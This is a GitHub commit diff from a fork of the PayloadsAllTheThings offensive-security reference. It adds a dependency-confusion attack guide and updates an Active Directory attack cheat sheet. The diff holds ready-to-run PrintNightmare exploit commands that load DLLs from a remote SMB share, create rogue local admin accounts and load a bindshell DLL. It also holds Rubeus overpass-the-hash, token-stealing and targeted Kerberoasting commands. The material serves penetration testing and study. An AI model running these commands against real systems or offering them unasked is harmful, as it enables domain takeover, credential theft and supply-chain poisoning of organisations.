forked from swisskyrepo/PayloadsAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
043e5a1
commit 459f4c0
Showing
6 changed files
with
97 additions
and
36 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
# Dependency Confusion | ||
|
||
> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository. | ||
## Summary | ||
|
||
* [Tools](#tools) | ||
* [Exploit](#exploitation) | ||
* [References](#references) | ||
|
||
## Exploit | ||
|
||
Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used. | ||
|
||
### NPM example | ||
|
||
* List all the packages (ie: package.json, composer.json, ...) | ||
* Find the package missing from https://www.npmjs.com/ | ||
* Register and create a **public** package with the same name | ||
* Package example : https://github.com/0xsapra/dependency-confusion-expoit | ||
|
||
## References | ||
|
||
* [Exploiting Dependency Confusion - 2 Jul 2021 - 0xsapra](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion) | ||
* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) | ||
* [Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -581,29 +581,42 @@ Exploit steps from the white paper | |
#### CVE-2021-1675 PrintNightmare | ||
|
||
The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`. | ||
The exploit will execute the DLL. | ||
The exploit will execute the DLL either from the local filesystem or a remote share. | ||
|
||
Requirements: | ||
* **Spooler Service** enabled (Mandatory) | ||
* Server with patches < June 21 | ||
* DC with `Pre Windows 2000 Compatibility` group | ||
* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1 | ||
* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0 | ||
|
||
Requirement: | ||
* **Spooler Service** enabled | ||
* Windows Server promoted as **Domain Controller** | ||
|
||
```powershell | ||
# https://github.com/cube0x0/CVE-2021-1675 | ||
pip3 uninstall impacket | ||
git clone https://github.com/cube0x0/impacket | ||
cd impacket | ||
python3 ./setup.py install | ||
# https://github.com/cube0x0/CVE-2021-1675 - require a modified Impacket: https://github.com/cube0x0/impacket | ||
python3 ./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll' | ||
python3 ./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll' | ||
C:\SharpPrintNightmare.exe C:\addCube.dll | ||
# https://github.com/afwu/PrintNightmare | ||
# LPE | ||
SharpPrintNightmare.exe C:\addCube.dll | ||
# RCE using existing context | ||
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20' | ||
# RCE using runas /netonly | ||
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123 | ||
# LPE only (PS1 + DLL) - https://github.com/calebstewart/CVE-2021-1675 | ||
Import-Module .\cve-2021-1675.ps1 | ||
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default | ||
Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" | ||
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll" | ||
# Original POC https://github.com/afwu/PrintNightmare | ||
.\PrintNightmare.exe dc_ip path_to_exp user_name password | ||
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123 | ||
``` | ||
|
||
**NOTE**: Do not use Impacket SMB server to host the payload. The exploit works better with an anonymous share on Samba or Windows native SMB. | ||
|
||
**NOTE**: The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109) . | ||
|
||
### Open Shares | ||
|
||
|
@@ -1504,7 +1517,7 @@ $ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL | |
|
||
### OverPass-the-Hash (pass the key) | ||
|
||
Request a TGT with only the NT hash then you can connect to the machine using the TGT. | ||
In this technique, instead of passing the hash directly, we use the NTLM hash of an account to request a valid Kerberost ticket (TGT). | ||
|
||
#### Using impacket | ||
|
||
|
@@ -1524,8 +1537,15 @@ klist | |
#### Using Rubeus | ||
|
||
```powershell | ||
C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt | ||
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd | ||
# Request a TGT as the target user and pass it into the current session | ||
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs | ||
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt | ||
# More stealthy variant, but requires the AES256 hash | ||
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt | ||
# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation) | ||
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe | ||
``` | ||
|
||
### Capturing and cracking NTLMv2 hashes | ||
|
@@ -1774,8 +1794,9 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr | |
# Check if current user has already an SPN setted: | ||
PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname | ||
# Force set the SPN on the account: | ||
# Force set the SPN on the account: Targeted Kerberoasting | ||
PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'} | ||
PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'} | ||
# Grab the ticket | ||
PowerView2 > $User = Get-DomainUser username | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters